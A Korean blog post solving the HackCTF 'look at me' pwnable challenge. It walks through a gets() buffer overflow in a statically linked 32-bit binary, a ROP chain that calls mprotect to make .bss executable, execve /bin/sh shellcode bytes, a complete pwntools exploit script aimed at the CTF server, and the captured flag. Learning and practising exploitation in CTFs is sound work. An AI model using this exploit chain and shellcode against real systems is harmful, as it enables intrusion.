[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

  • 정적 링킹되어 있어 모든 라이브러리 함수가 바이너리에 포함되어 있음

 

바이너리 실행

  • 사용자로부터 입력을 받고 바이너리 종료 → 일정 값 이상 넘어가면 segmentation fault 발생

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp) { ​​int v3; // ST1C_4@1 ​​setvbuf(stdout, 0, 2, 0); ​​v3 = getegid(); ​​setresgid(v3, v3, v3); ​​look_at_me(); ​​return 0; }
  • look_at_me 함수 호출

 

IDA 분석 - look_at_me 함수

_BYTE *look_at_me() { ​​char v1; // [esp+0h] [ebp-18h]@1 ​​puts("Hellooooooooooooooooooooo"); ​​return gets(&v1); }
  • gets 함수로 사용자의 입력 받아 return → BOF 취약점 발생
  • flag를 획득할 수 있는 함수를 찾을 수 없음
  • NX bit가 걸려 있어 ROP를 수행해야 할 것으로 보임
  • 그러나 바이너리에 system 함수가 존재하지 않음

mprotect함수

💡 *int mprotect(void addr, size_t len, int prot);
  • 메모리로 매핑된 영역의 보호 모드를 변경할 때 사용되는 함수
  • 매핑된 메모리의 보호 모드는 mmap함수로 메모리 매핑을 수행할 때 초깃값을 설정한다.
  • addr로 지정한 주소에 len크기만큼 매핑된 메모리의 보호 모드를 prot에 지정한 값으로 변경
  • prot : PROT_READ, PROT_WRITE, PROT_EXEC, PROT_NONE(prot에 7을 주면 rwx가 모두 설정된다.)

- 주의 : addr의 값은 페이지 경계에 맞게 정렬되어야 한다. (page의 크기는 4096)

  • mprotect [주소값] 부터 [주소값 + 길이-1]를 포함하는 메모리 페이지의 접근 권한을 수정하는 것
  • 첫번째 인자인 원하는 주소에는 0x1000의 배수가 되어야 한다.

NX-bit가 걸려있어도 mprotect함수를 사용하면 고정된 주소 값에 삽입한 Shellcode를 실행시킬 수 있다.

  • 32bit에서는 인자를 가젯 순서대로 삽입함!

 

문제 해결

💡gets 함수에서 bss 영역으로 연결
mprotect 함수로 bss 영역 권한을 7로 변경 후 shellcode 삽입
dummy(28) + gets_address + gadget(pr) + bss_address + mprotect_address + gadget(pppr) + bss_address(0x1000 단위로 맞춘) + size + 7(bss 영역에 실행 권한 부여) + bss_address(return)
shellcode

 

필요 값 찾기

bss 영역 주소 찾기

 

Gadget 찾기

💡 ROPgadget --binary ./lookatme |grep ret
  1. gets 함수(pr)

2. mprotect 함수(pppr)

Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


 

Python2

from pwn import * p=remote("ctf.j0n9hyun.xyz", 3017) e = ELF('./lookatme') gets_gadget = 0x080681c0 mprotect_gadget = 0x080509d5 bss_address = 0x080eaf80 gets_address = e.symbols['gets'] mprotect_address = e.symbols['mprotect'] shellcode = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80" payload1 = "A"*28 payload1 += p32(gets_address) payload1 += p32(gets_gadget) payload1 += p32(bss_address) payload1 += p32(mprotect_address) payload1 += p32(mprotect_gadget) payload1 += p32(bss_address - 0xf80) payload1 += p32(0x100) payload1 += p32(7) payload1 += p32(bss_address) p.recvuntil("Hellooooooooooooooooooooo\\n") p.sendline(payload1) p.sendline(shellcode) p.interactive()

 

 

참고: https://jiravvit.tistory.com/entry/HackCTF-Pwnable-look-at-me-풀이-32bit-syscall


flag

🍒  HackCTF{Did_you_understand_the_static_linking_method?}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30
[HackCTF] Gift  (0) 2022.10.30

+ Recent posts